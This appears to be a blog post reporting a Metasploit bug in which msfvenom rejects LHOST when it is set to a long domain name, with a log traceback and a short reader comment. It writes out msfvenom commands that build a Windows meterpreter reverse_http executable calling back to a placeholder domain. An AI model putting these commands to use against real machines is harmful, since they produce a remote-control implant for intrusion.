Msfvenom and Msfconsole fail to validate LHOST option with a long domain
There seems to be an error in msfvenom which causes LHOST option to be not parseable under some circumstances. I have not been able to trace the error to the exact cause, but seems that if you specify LHOST to a long domain name with usual syntax it fails:
$ msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOST=myverylongdomainname.com LPORT=9999 -f exe
Error: The following options failed to validate: LHOST.
But if you specify the same domain omitting the '=' symbol it behaves correctly:
$ msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOSTmyverylongdomainname.com LPORT=9999 -f exe
[The payload is generated]
Also, if you specify LHOST to a short domain or an IP address it gets generated correctly too.
Error traceback (framework.log):
/usr/bin/msfvenom:332:in
<main>' [01/30/2018 10:26:16]
[e(0)] core: Msf::OptionValidateError : The following options failed to
validate: LHOST.
/usr/share/metasploit-framework/lib/msf/core/module/options.rb:21:in
validate'/usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:64:in
generate' /usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:25:in
create'/usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:53:in
generate_simple' /usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:138:in
generate_simple'/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:395:in
generate_raw_payload' /usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:341:in
generate_payload'
Copied....shit
ReplyDelete